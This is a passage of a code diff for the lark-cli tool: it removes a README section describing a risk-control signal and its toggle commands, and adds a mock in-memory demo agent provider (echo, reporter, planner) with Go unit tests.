-- Device hardware model: for example, Mac17,9
-
-To disable this protection for the current workspace, run:
-
-```bash
-lark-cli config risk-control off
-```
-
-To enable this protection for the current workspace, run:
-
-```bash
-lark-cli config risk-control on
-```
-
-To restore the default policy for the current workspace, run:
-
-```bash
-lark-cli config risk-control default
-```
-
 Please fully understand all usage risks. By using this tool, you are deemed to voluntarily assume all related responsibilities.
 
 ## Star History

README.zh.md

@@ -286,29 +286,6 @@ lark-cli schema im.messages.delete
 
 我们建议您将对接本工具的飞书机器人作为私人对话助手使用，请勿将其拉入群聊或允许其他用户与其交互，以避免权限被滥用或数据泄露。
 
-为降低访问令牌被盗用后的安全风险，CLI 在向飞书/Lark 官方 HTTPS 精确域名发起 OpenAPI 请求时，会随请求发送一组最小化的风控信号，用于辅助识别异常调用行为。该保护默认开启，发送的信息仅包括：
-
-- 操作系统类型：macOS、Windows 或 Linux
-- 设备的硬件产品型号：例如 Mac17,9
-
-如需让当前 workspace 退出该保护，可执行以下命令：
-
-```bash
-lark-cli config risk-control off
-```
-
-如需开启当前 workspace 的保护，可执行以下命令：
-
-```bash
-lark-cli config risk-control on
-```
-
-恢复当前 workspace 默认策略可执行：
-
-```bash
-lark-cli config risk-control default
-```
-
 请您充分知悉全部使用风险，使用本工具即视为您自愿承担相关所有责任。
 
 ## Star History

agents/example/example.go

@@ -0,0 +1,402 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Package example is the in-repo agent provider onboarding template and offline
+// demo backend: a hypothetical example business domain whose data / calls are
+// entirely in-memory mocks, with zero network. It has three roles:
+//
+//  1. A copy-start point for new integrators — copy the package, rename the
+//     scheme, write plain hook funcs, add one line to agent/register.go. There is
+//     no Factory, no Deps, no probe, no Kind field.
+//  2. The command tree's offline demo backend — the full agent
+//     list/card/send/task/context chain runs for real without any platform config.
+//  3. A stable mock scheme for cmd-layer tests.
+//
+// The whole provider is a declarative agents.Provider value: metadata + a catalog
+// of agents.AgentSpec units. Each spec's capability set is exactly the hooks it
+// wires (the framework derives the card matrix from that), so echo (minimal) and
+// reporter (full) differ by DATA, not by a Factory branch.
+package example
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// Provider is the whole declaration. The Catalog set makes this a catalog-type
+// provider; the framework derives enumeration (agents list example), the
+// unknown-id error, and each agent's card matrix from this data.
+func Provider() agents.Provider {
+	return agents.Provider{
+		Scheme:        "example",
+		Label:         "Example 演示 agent（内存 mock，零网络）",
+		AgentIDSource: "运行 lark-cli agents list example 查看内置演示 agent 及其 agent_ref（无需任何平台配置）",
+		Identities:    []agents.IdentitySpec{{Type: agents.IdentityUser}, {Type: agents.IdentityBot}},
+		// RequiredScopes nil: the mock calls no OAPI, so scope preflight always passes.
+		Catalog: []agents.AgentSpec{echoSpec, reporterSpec, plannerSpec},
+	}
+}
+
+// echoSpec is the minimal set: it wires Send/GetTask plus the read verbs and
+// NOTHING else, so its card honestly shows task_cancel / artifact_download /
+// file_input = false. Capability IS exactly the wired hooks — there is no bool
+// matrix and no capability-refusal code (the command layer gates unwired hooks).
+var echoSpec = agents.AgentSpec{
+	ID:            "echo",
+	Name:          "复读机",
+	Description:   "把你发的话原样复读一遍（同一会话续发时带轮次，证明上下文记忆）。最小能力集示范。",
+	Send:          agents.SendOp{Handler: echoSend},
+	GetTask:       agents.TaskGetOp{Handler: getTask},
+	ListTasks:     agents.TaskListOp{Handler: listTasks},
+	ListContexts:  agents.ContextListOp{Handler: listContexts},
+	GetContext:    agents.ContextGetOp{Handler: getContext},
+	DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
+}
+
+// reporterSpec is the full set: it additionally wires CancelTask +
+// DownloadArtifact and declares the FileInput/InputRequired behavioral flags. The
+// difference between the two agents is data you read top-to-bottom, not a branch
+// inside a Factory.
+// reporterSendParams is reporter's typed view of its send params — the
+// BindParams copy-start template. agenttest.CheckParamsBinding locks the tags
+// against the declaration below in example_test.go.
+type reporterSendParams struct {
+	ReportFormat string `param:"report_format"`
+	Quarters     int64  `param:"quarters"`
+	// Render binds the object param's leaves（点路径/JSON 两通道归一后的
+	// "render.*" 键）——嵌套 struct + tag 即完成拼装。
+	Render renderOpts `param:"render"`
+}
+
+type renderOpts struct {
+	Theme     string `param:"theme"`
+	Watermark bool   `param:"watermark"`
+}
+
+var reporterSpec = agents.AgentSpec{
+	ID:          "reporter",
+	Name:        "报表生成器",
+	Description: "对任意请求产出一份内联 CSV 报表 artifact，示范 artifact 下载与任务取消链路。",
+	FileInput:   true,
+	// InputRequired is deliberately NOT declared: reporter never pauses (tasks
+	// are born terminal), and a question-asking flag would obligate an
+	// every-brand CancelTask (§6.8 registration check) — its CancelTask is the
+	// brand-scoping demo below. The HITL demo lives on planner.
+	// Send declares demo business params covering the whole declaration
+	// surface: enum + default (report_format), integer + min/max + default
+	// (quarters). Both optional with defaults, so a bare send behaves exactly
+	// like before — the params exist to be a copy-start template and to make
+	// the validation/card/meta.next chain exercisable offline.
+	Send: agents.SendOp{
+		Params: []agents.CardParam{
+			{Name: "report_format", Enum: []string{"csv", "xlsx"}, Default: "csv",
+				Desc: "报表输出格式"},
+			{Name: "quarters", Type: "integer", Min: agents.Float(1), Max: agents.Float(12), Default: "4",
+				Desc: "回溯季度数"},
+			// object 参数演示：点路径 --param render.theme=dark 或 JSON 整值
+			// --param render='{"theme":"dark"}' 两通道等价，框架归一后 hook 只见
+			// 平铺 "render.*" 键。
+			{Name: "render", Type: "object", Desc: "渲染选项", Fields: []agents.CardParam{
+				{Name: "theme", Enum: []string{"light", "dark"}, Default: "light", Desc: "配色主题"},
+				{Name: "watermark", Type: "boolean", Default: "false", Desc: "是否加水印"},
+			}},
+		},
+		Handler: reporterSend,
+	},
+	GetTask:       agents.TaskGetOp{Handler: getTask},
+	ListTasks:     agents.TaskListOp{Handler: listTasks},
+	ListContexts:  agents.ContextListOp{Handler: listContexts},
+	GetContext:    agents.ContextGetOp{Handler: getContext},
+	DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
+	// task_cancel is scoped to feishu — a real brand-scoped capability demo:
+	// under lark reporter's card shows task_cancel=false and
+	// `agents task cancel example:reporter` is gated with unavailable_for_brand
+	// (the whole agent stays visible under both brands — only this op is scoped).
+	CancelTask:       agents.TaskCancelOp{Brands: []core.LarkBrand{core.BrandFeishu}, Handler: cancelTask},
+	DownloadArtifact: agents.ArtifactDownloadOp{Handler: downloadArtifact},
+}
+
+// plannerSpec demonstrates the input_required HITL flow (design doc §3-§8):
+// the first send pauses on a THREE-question group (single-select + free-text +
+// multi-select with a skip option), answered atomically in one send via
+// --answer; a second submission gets failed_precondition + resolved_answers.
+// It wires CancelTask because a question-asking agent must be walkaway-able
+// (§6.8 — Register enforces this), and the read verbs; not artifact.
+var plannerSpec = agents.AgentSpec{
+	ID:            "planner",
+	Name:          "报表规划器",
+	Description:   "先弹一组确认问题（单选/自由文本/多选，input_required），你用 --answer 一次答清后再出报表。示范 HITL 问题组链路。",
+	InputRequired: true,
+	Send:          agents.SendOp{Handler: plannerSend},
+	GetTask:       agents.TaskGetOp{Handler: getTask},
+	ListTasks:     agents.TaskListOp{Handler: listTasks},
+	CancelTask:    agents.TaskCancelOp{Handler: cancelTask},
+	ListContexts:  agents.ContextListOp{Handler: listContexts},
+	GetContext:    agents.ContextGetOp{Handler: getContext},
+	DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
+}
+
+// plannerSend pauses a fresh request on a question group, or applies the
+// --answer submission (continuing the group's own task). A bare --text aimed
+// at the paused task is rejected with guidance — NEVER forked into a sibling
+// task (§6.5): the group contains select questions, so free text cannot be
+// consumed as the whole answer here.
+func plannerSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
+	if len(in.Answers) > 0 {
+		if in.TaskID == "" {
+			// The CLI guard already enforces this; the belt holds for direct hook calls.
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"回答问题组需提供 --task-id").WithParam("--task-id")
+		}
+		task, err := store.answerGroup(rt.AgentID(), in.ContextID, in.TaskID, in.Answers, in.Text)
+		if err != nil {
+			return nil, err
+		}
+		return &task, nil
+	}
+	if in.TaskID != "" {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"该任务在等待问题组答复，且组内含选择题，无法用 --text 自由作答").
+			WithParam("--text").
+			WithHint("用 lark-cli agents task get example:%s %s 查看问题组，按 meta.next 的 --answer 模板作答", rt.AgentID(), in.TaskID)
+	}
+	ctxID := in.ContextID
+	if ctxID == "" {
+		var err error
+		ctxID, err = store.createContext(rt.AgentID(), truncateTitle(in.Text))
+		if err != nil {
+			return nil, err
+		}
+	}
+	// Mint the group's question ids at CREATION time with a fresh per-group
+	// suffix (§6.2): the group is persisted with these ids and every later
+	// task get echoes them verbatim; a successor group would mint a different
+	// suffix, which is the stale-retry protection.
+	questions := []agents.Question{
+		{Question: "按什么维度拆分？", Options: []agents.Option{
+			{OptionID: "by_region", Label: "按大区", Description: "华东/华北/华南汇总"},
+			{OptionID: "by_category", Label: "按品类", Description: "SKU 一级类目"},
+		}},
+		{Question: "时间范围？"},
+		{Question: "包含哪些区域？", MultiSelect: true, Options: []agents.Option{
+			{OptionID: "east", Label: "华东"},
+			{OptionID: "north", Label: "华北"},
+			{OptionID: "skip", Label: "由 agent 决定", Description: "与其它选项互斥"},
+		}},
+	}
+	agents.MintQuestionIDs(questions, newGroupSuffix())
+	task, err := store.createTask(rt.AgentID(), ctxID, func(int) agents.AgentTask {
+		return agents.AgentTask{
+			TaskID:    newID("task"),
+			ContextID: ctxID,
+			State:     agents.StateInputRequired,
+			Messages: []agents.Message{
+				{Role: "user", Parts: []agents.Part{{Type: "text", Text: in.Text}}},
+				{Role: "agent", Parts: []agents.Part{{Type: "text", Text: "生成报表前需确认以下口径。"}}},
+			},
+			InputRequired: &agents.InputRequired{
+				Label:       "报表生成确认",
+				Description: "生成前需确认以下口径",
+				Questions:   questions,
+			},
+		}
+	})
+	if err != nil {
+		return nil, err
+	}
+	return &task, nil
+}
+
+// ── Hooks: plain funcs. The addressed agent comes from rt.AgentID() (request
+//    data, replacing the old state.agentID). The mock ignores rt's network
+//    methods (CallAPI/CallMultipart/IsBot). There is NO catalog.Lookup guard
+//    anywhere — the framework's LookupSpec validated ref→spec offline before
+//    dispatch, so an unknown id never reaches a hook. ──
+
+// echoSend echoes the input; from round 2 on it appends a round marker to prove
+// across commands that context memory works.
+func echoSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
+	return newTurn(rt.AgentID(), in, func(round int) (string, []agents.Artifact) {
+		reply := in.Text
+		if round > 1 {
+			reply = fmt.Sprintf("%s（第 %d 轮）", in.Text, round)
+		}
+		return reply, nil
+	})
+}
+
+// reporterSend produces a fixed inline CSV artifact for any request. It reads
+// its demo params through BindParams — the typed, compile-checked consumption
+// template (rt.Params() raw lookups work too but are typo-prone). With the
+// declaration defaults (csv/4) the reply is byte-identical to the historical
+// one; a hook invoked outside the framework (unit tests calling it directly)
+// sees an empty param map and the same historical reply.
+func reporterSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
+	p, err := agents.BindParams[reporterSendParams](rt)
+	if err != nil {
+		return nil, err
+	}
+	return newTurn(rt.AgentID(), in, func(round int) (string, []agents.Artifact) {
+		reply := "报表已生成：quarterly_report.csv（见 artifacts，用 task get --artifact <id> -o <path> 下载）"
+		if p.ReportFormat != "" && p.ReportFormat != "csv" {
+			reply = fmt.Sprintf("报表已生成（%s 格式，回溯 %d 个季度）：quarterly_report.%s（见 artifacts，用 task get --artifact <id> -o <path> 下载）",
+				p.ReportFormat, p.Quarters, p.ReportFormat)
+		}
+		if p.Render.Watermark {
+			reply = fmt.Sprintf("%s（%s 主题，含水印）", reply, p.Render.Theme)
+		}
+		if n := len(in.Files); n > 0 {
+			reply = fmt.Sprintf("已收到 %d 个附件；%s", n, reply)
+		}
+		// Name/Mime 在 GetTask 阶段就可见（下载前），调用方能直接据此定 -o 后缀，
+		// 不必先猜再靠下载后的 suggested_name 纠正——真实 provider 应尽量同样前置。
+		ext, mime := "csv", "text/csv"
+		if p.ReportFormat == "xlsx" {
+			ext, mime = "xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
+		}
+		return reply, []agents.Artifact{{ID: newID("art"), Kind: "text", Name: "quarterly_report." + ext, Mime: mime}}
+	})
+}
+
+// newTurn factors the shared store flow: start/continue a context, then create a
+// task whose body the caller builds per round. The mock task is instantly
+// terminal, so there is no "feed input to a running task" scenario — continuing
+// via --task-id returns failed_precondition (the request is valid but the target
+// state does not satisfy it, so the AI knows to start a new task instead).
+func newTurn(agentID string, in agents.SendInput, build func(round int) (reply string, artifacts []agents.Artifact)) (*agents.AgentTask, error) {
+	if len(in.Answers) > 0 {
+		// No pending question group exists on a born-terminal agent — reject
+		// loudly rather than silently dropping the answers (§6.4's no-silent-drop
+		// bottom line; reporter passes the CLI's input_required capability gate,
+		// so this is reachable there).
+		return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
+			"该 agent 没有待答的问题组").
+			WithParam("--answer").
+			WithHint("--answer 只用于回答停在 input_required 的任务；起新任务用 --text")
+	}
+	if in.TaskID != "" {
+		return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
+			"example 的任务发出即完成（终态），无法向已有任务续发").
+			WithParam("--task-id").
+			WithHint("去掉 --task-id，用 --context-id 在同一会话起新一轮任务")
+	}
+	ctxID := in.ContextID
+	if ctxID == "" {
+		var err error
+		ctxID, err = store.createContext(agentID, truncateTitle(in.Text))
+		if err != nil {
+			return nil, err
+		}
+	}
+	// createTask validates context ownership under the lock (an unknown /
+	// cross-agents context id is rejected inside with a typed error), computes the
+	// round, and inserts atomically.
+	task, err := store.createTask(agentID, ctxID, func(round int) agents.AgentTask {
+		reply, artifacts := build(round)
+		return agents.AgentTask{
+			TaskID:     newID("task"),
+			ContextID:  ctxID,
+			State:      agents.StateCompleted,
+			IsTerminal: true,
+			Messages: []agents.Message{
+				{Role: "user", Parts: []agents.Part{{Type: "text", Text: in.Text}}},
+				{Role: "agent", Parts: []agents.Part{{Type: "text", Text: reply}}},
+			},
+			Artifacts: artifacts,
+		}
+	})
+	if err != nil {
+		return nil, err
+	}
+	return &task, nil
+}
+
+func getTask(ctx context.Context, rt agents.Runtime, taskID string) (*agents.AgentTask, error) {
+	task, err := store.getTask(rt.AgentID(), taskID)
+	if err != nil {
+		return nil, err
+	}
+	return &task, nil
+}
+
+func listTasks(ctx context.Context, rt agents.Runtime, contextID string, page agents.PageParams) ([]agents.TaskSummary, agents.PageInfo, error) {
+	tasks, info := store.listTasks(rt.AgentID(), contextID, page)
+	return tasks, info, nil
+}
+
+func listContexts(ctx context.Context, rt agents.Runtime, page agents.PageParams) ([]agents.ContextSummary, agents.PageInfo, error) {
+	ctxs, info := store.listContexts(rt.AgentID(), page)
+	return ctxs, info, nil
+}
+
+func getContext(ctx context.Context, rt agents.Runtime, ctxID string) (*agents.ContextDetail, error) {
+	return store.getContext(rt.AgentID(), ctxID)
+}
+
+func deleteContext(ctx context.Context, rt agents.Runtime, ctxID string) error {
+	return store.deleteContext(rt.AgentID(), ctxID)
+}
+
+// cancelTask is wired only for reporter, so echo never reaches it (the command
+// layer gates echo's cancel on the nil field). The mock task is completed the
+// moment it is sent, so canceling a terminal task returns a failed_precondition
+// typed error rather than pretending success.
+func cancelTask(ctx context.Context, rt agents.Runtime, taskID string) error {
+	task, err := store.getTask(rt.AgentID(), taskID)
+	if err != nil {
+		return err
+	}
+	if task.State.IsTerminal() {
+		return errs.NewValidationError(errs.SubtypeFailedPrecondition,
+			"任务 '%s' 已处于终态 %s，无法取消", taskID, task.State).
+			WithHint("终态任务不可取消；用 lark-cli agents task get example:%s %s 查看结果", rt.AgentID(), taskID)
+	}
+	return store.setTaskState(taskID, agents.StateCanceled)
+}
+
+// reportCSV is the fixed content of the reporter artifact (inline Bytes type).
+const reportCSV = "quarter,revenue,cost,margin\n" +
+	"2026Q1,1250,830,0.336\n" +
+	"2026Q2,1410,905,0.358\n"
+
+// downloadArtifact is wired only for reporter (echo is gated on the nil field).
+// It returns inline Bytes; a real provider would fill URL instead and let the
+// command layer SSRF-validate + fetch.
+//
+// Teaching point (suggested_name): ArtifactData.Name is the server-suggested
+// file name, echoed back only as a reference for choosing -o — it is untrusted
+// and never participates in constructing the local save path (the save path is
+// always -o/SafeOutputPath).
+func downloadArtifact(ctx context.Context, rt agents.Runtime, taskID, artifactID string) (*agents.ArtifactData, error) {
+	task, err := store.getTask(rt.AgentID(), taskID)
+	if err != nil {
+		return nil, err
+	}
+	for _, a := range task.Artifacts {
+		if a.ID == artifactID {
+			return &agents.ArtifactData{
+				Name:  "quarterly_report.csv",
+				Mime:  "text/csv",
+				Bytes: []byte(reportCSV),
+			}, nil
+		}
+	}
+	return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+		"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
+		WithHint("运行 lark-cli agents task get example:%s %s 查看该任务的 artifacts", rt.AgentID(), taskID)
+}
+
+// truncateTitle takes the first few characters of the message as the context
+// title (truncated by rune to avoid cutting a character in half).
+func truncateTitle(s string) string {
+	const max = 20
+	r := []rune(s)
+	if len(r) <= max {
+		return s
+	}
+	return string(r[:max]) + "…"
+}

agents/example/example_test.go

@@ -0,0 +1,969 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package example
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/agents/agenttest"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// Register the example provider for this test binary (provider packages are pure
+// data now — the top-level agent package's init does this in production, but that
+// package cannot be imported here without an import cycle).
+func init() { agents.Register(Provider()) }
+
+// fakeRuntime is the offline test runtime: it supplies the addressed agent_id
+// and no-ops the network methods (the mock hooks only ever read AgentID()).
+type fakeRuntime struct {
+	agentID string
+	params  map[string]string
+}
+
+func (r fakeRuntime) AgentID() string           { return r.agentID }
+func (r fakeRuntime) IsBot() bool               { return false }
+func (r fakeRuntime) Params() map[string]string { return r.params }
+func (r fakeRuntime) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
+	return nil, nil
+}
+func (r fakeRuntime) CallMultipart(context.Context, string, string, map[string]string, []agents.FilePart) (json.RawMessage, error) {
+	return nil, nil
+}
+
+// swapStore replaces the package-level store with an isolated instance pointing at
+// t.TempDir, so tests do not pollute each other or the local demo snapshot.
+func swapStore(t *testing.T) {
+	t.Helper()
+	old := store
+	store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
+	t.Cleanup(func() { store = old })
+}
+
+// TestConformance runs the shared conformance suite for every catalog entry.
+func TestConformance(t *testing.T) {
+	agenttest.RunConformance(t, "example", "echo")
+}
+
+func TestConformancePlanner(t *testing.T) {
+	agenttest.RunConformance(t, "example", "planner")
+}
+
+func TestConformanceReporter(t *testing.T) {
+	agenttest.RunConformance(t, "example", "reporter")
+}
+
+// TestCapabilityMatrixDiverges pins the deliberate difference between the two
+// agents, derived purely from which hooks each spec wires.
+func TestCapabilityMatrixDiverges(t *testing.T) {
+	// Under feishu (default), reporter's feishu-scoped task_cancel is live, so the
+	// historical full matrix holds.
+	ec := agents.DeriveCapabilities(&echoSpec, core.BrandFeishu)
+	rc := agents.DeriveCapabilities(&reporterSpec, core.BrandFeishu)
+	if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
+		t.Errorf("echo should be the minimal set (no artifact/file/cancel), got %+v", ec)
+	}
+	if !ec.ContextList || !ec.ContextGet || !ec.ContextDelete || !ec.TaskGet || !ec.TaskList {
+		t.Errorf("echo should support context_list/get/delete + task_get/task_list, got %+v", ec)
+	}
+	if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.ContextList && rc.ContextGet && rc.ContextDelete && rc.TaskGet && rc.TaskList) {
+		t.Errorf("reporter should have everything but input_required enabled, got %+v", rc)
+	}
+	if rc.InputRequired {
+		t.Error("reporter never pauses — input_required must be false (its brand-scoped CancelTask would otherwise violate the §6.8 registration check)")
+	}
+}
+
+// TestEchoUnwiredCapabilities verifies the new model: echo simply leaves
+// CancelTask / DownloadArtifact unwired and FileInput false — no refusal code.
+func TestEchoUnwiredCapabilities(t *testing.T) {
+	if echoSpec.CancelTask.Handler != nil {
+		t.Error("echo should not wire CancelTask (task_cancel=false)")
+	}
+	if echoSpec.DownloadArtifact.Handler != nil {
+		t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
+	}
+	if echoSpec.FileInput {
+		t.Error("echo should not accept file input (file_input=false)")
+	}
+}
+
+// TestEchoMultiTurn verifies multi-turn context memory across the read verbs.
+func TestEchoMultiTurn(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "echo"}
+	ctx := context.Background()
+
+	t1, err := echoSend(ctx, rt, agents.SendInput{Text: "hello"})
+	if err != nil {
+		t.Fatalf("first-turn send: %v", err)
+	}
+	if t1.State != agents.StateCompleted || t1.ContextID == "" || t1.TaskID == "" {
+		t.Fatalf("first turn should be completed with context_id/task_id: %+v", t1)
+	}
+	if got := agentReply(t, t1); got != "hello" {
+		t.Fatalf("first-turn echo should be the original text, got %q", got)
+	}
+
+	t2, err := echoSend(ctx, rt, agents.SendInput{Text: "再来", ContextID: t1.ContextID})
+	if err != nil {
+		t.Fatalf("follow-up send: %v", err)
+	}
+	if t2.ContextID != t1.ContextID {
+		t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
+	}
+	if got := agentReply(t, t2); got != "再来（第 2 轮）" {
+		t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
+	}
+
+	got, err := getTask(ctx, rt, t2.TaskID)
+	if err != nil {
+		t.Fatalf("getTask: %v", err)
+	}
+	if agentReply(t, got) != "再来（第 2 轮）" {
+		t.Fatalf("getTask should replay the stored messages, got %+v", got.Messages)
+	}
+	tasks, _, err := listTasks(ctx, rt, t1.ContextID, agents.PageParams{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(tasks) != 2 {
+		t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
+	}
+	// Every summary carries the enriched fields: a status timestamp and the
+	// one-line digest (the last agent message). listTasks now returns
+	// most-recent-first, so tasks[0] is the second turn and tasks[1] the first.
+	for _, ts := range tasks {
+		if ts.UpdatedAt == "" {
+			t.Errorf("task summary should carry updated_at: %+v", ts)
+		}
+	}
+	if tasks[0].Summary != "再来（第 2 轮）" {
+		t.Errorf("newest task summary should carry the round marker, got %q", tasks[0].Summary)
+	}
+	if tasks[1].Summary != "hello" {
+		t.Errorf("oldest task summary should be the first agent message %q, got %q", "hello", tasks[1].Summary)
+	}
+	ctxs, _, err := listContexts(ctx, rt, agents.PageParams{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
+		t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
+	}
+	if ctxs[0].AwaitingInput {
+		t.Errorf("context summary should roll up awaiting_input=false, got %+v", ctxs[0])
+	}
+	if ctxs[0].UpdatedAt == "" {
+		t.Error("context summary should carry updated_at")
+	}
+
+	// context get NO LONGER returns a full tasks[]: it is metadata + rollup + the
+	// single most-recent active_task (t2, the latest by updated_at).
+	detail, err := getContext(ctx, rt, t1.ContextID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if detail.TaskCount == nil || *detail.TaskCount != 2 {
+		t.Fatalf("context detail should report task_count=2, got %+v", detail)
+	}
+	if detail.AwaitingInput {
+		t.Errorf("both tasks are completed, awaiting_input should be false: %+v", detail)
+	}
+	if detail.ActiveTask == nil || detail.ActiveTask.TaskID != t2.TaskID {
+		t.Fatalf("active_task should be the most recent task (t2 %s), got %+v", t2.TaskID, detail.ActiveTask)
+	}
+	if detail.ActiveTask.Summary != "再来（第 2 轮）" {
+		t.Errorf("active_task.summary should be the last agent message, got %q", detail.ActiveTask.Summary)
+	}
+	if detail.ActiveTask.UpdatedAt == "" {
+		t.Error("active_task.updated_at should be populated")
+	}
+}
+
+// TestCrossAgentIsolation pins the load-bearing per-agent isolation guard: echo
+// and reporter share one package-global store, so a task/context created under
+// one agent MUST be invisible to the other agent's runtime (get/delete return a
+// not-found error; list returns nothing). Without this guard
+// `agents task get example:reporter <echo-task-id>` would leak echo's data.
+func TestCrossAgentIsolation(t *testing.T) {
+	swapStore(t)
+	ctx := context.Background()
+	echo := fakeRuntime{agentID: "echo"}
+	reporter := fakeRuntime{agentID: "reporter"}
+
+	t1, err := echoSend(ctx, echo, agents.SendInput{Text: "secret"})
+	if err != nil {
+		t.Fatalf("echo send: %v", err)
+	}
+
+	// reporter must not read/delete echo's task or context.
+	if _, err := getTask(ctx, reporter, t1.TaskID); err == nil {
+		t.Error("reporter must not read echo's task (cross-agent leak)")
+	}
+	if _, err := getContext(ctx, reporter, t1.ContextID); err == nil {
+		t.Error("reporter must not read echo's context (cross-agent leak)")
+	}
+	if err := deleteContext(ctx, reporter, t1.ContextID); err == nil {
+		t.Error("reporter must not delete echo's context (cross-agent leak)")
+	}
+	if tasks, _, _ := listTasks(ctx, reporter, "", agents.PageParams{}); len(tasks) != 0 {
+		t.Errorf("reporter should see no echo tasks, got %d", len(tasks))
+	}
+	if ctxs, _, _ := listContexts(ctx, reporter, agents.PageParams{}); len(ctxs) != 0 {
+		t.Errorf("reporter should see no echo contexts, got %d", len(ctxs))
+	}
+
+	// echo still sees its own data, and its context survived reporter's delete.
+	if _, err := getTask(ctx, echo, t1.TaskID); err != nil {
+		t.Errorf("echo must still read its own task: %v", err)
+	}
+	if _, err := getContext(ctx, echo, t1.ContextID); err != nil {
+		t.Errorf("echo's context must survive a cross-agent delete attempt: %v", err)
+	}
+}
+
+// TestStateSurvivesReload pins the cross-process semantics via the shared snapshot.
+func TestStateSurvivesReload(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "echo"}
+	task, err := echoSend(context.Background(), rt, agents.SendInput{Text: "persist"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	store = newMemoryStore(store.path) // a new process view; only the snapshot file is shared
+	got, err := getTask(context.Background(), rt, task.TaskID)
+	if err != nil {
+		t.Fatalf("getTask after reload: %v", err)
+	}
+	if got.ContextID != task.ContextID {
+		t.Fatalf("task should replay fully after reload: %+v", got)
+	}
+}
+
+// plannerAnswers builds the full valid answer set for a freshly opened planner
+// group (§10.1 key encoding): q1 by option, q2 by text, q3 multi-select.
+func plannerAnswers(ir *agents.InputRequired) map[string][]string {
+	return map[string][]string{
+		ir.Questions[0].QuestionID:                           {"by_region"},
+		ir.Questions[1].QuestionID + agents.AnswerTextSuffix: {"2024 全年"},
+		ir.Questions[2].QuestionID:                           {"east", "north"},
+	}
+}
+
+// TestPlannerGroupFlow drives the input_required HITL loop end to end on the
+// reference provider: the first send pauses on a three-question group with
+// creation-minted per-group keys, one --answer submission completes the task
+// with option ids resolved back to labels, and a second submission gets
+// failed_precondition carrying resolved_answers (the "already decided" path).
+func TestPlannerGroupFlow(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "planner"}
+	ctx := context.Background()
+
+	t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出个季度报表"})
+	if err != nil {
+		t.Fatalf("planner open send: %v", err)
+	}
+	if t1.State != agents.StateInputRequired || t1.InputRequired == nil {
+		t.Fatalf("first send should pause on a question group, got %+v", t1)
+	}
+	ir := t1.InputRequired
+	if ir.Label == "" || len(ir.Questions) != 3 {
+		t.Fatalf("group should carry a label and 3 questions, got %+v", ir)
+	}
+	if len(ir.Questions[0].Options) != 2 || len(ir.Questions[1].Options) != 0 ||
+		!ir.Questions[2].MultiSelect || len(ir.Questions[2].Options) != 3 {
+		t.Fatalf("question shapes wrong: %+v", ir.Questions)
+	}
+	for _, q := range ir.Questions {
+		if !agents.KeyPattern.MatchString(q.QuestionID) {
+			t.Errorf("minted question_id must satisfy KeyPattern, got %q", q.QuestionID)
+		}
+	}
+	// Per-group suffix: all three ids share ONE suffix (creation-minted, §6.2 —
+	// per-question suffixes would break the group-anchor staleness design)…
+	suffix := t1.InputRequired.Questions[0].QuestionID
+	suffix = suffix[strings.LastIndex(suffix, "_")+1:]
+	for _, q := range t1.InputRequired.Questions {
+		if !strings.HasSuffix(q.QuestionID, "_"+suffix) {
+			t.Errorf("all question ids must share the group suffix %q, got %q", suffix, q.QuestionID)
+		}
+	}
+	// …and a SECOND group (new ask in the same context) mints a different one —
+	// the stale-retry protection.
+	t2, err := plannerSend(ctx, rt, agents.SendInput{ContextID: t1.ContextID, Text: "再来一份"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	q2id := t2.InputRequired.Questions[0].QuestionID
+	if q2id == t1.InputRequired.Questions[0].QuestionID {
+		t.Errorf("a successor group must mint different question ids, both got %q", q2id)
+	}
+
+	done, err := plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(ir),
+	})
+	if err != nil {
+		t.Fatalf("answering the group: %v", err)
+	}
+	if done.State != agents.StateCompleted {
+		t.Fatalf("answered task should be completed, got %s", done.State)
+	}
+	var acceptReply string
+	for i := len(done.Messages) - 1; i >= 0; i-- {
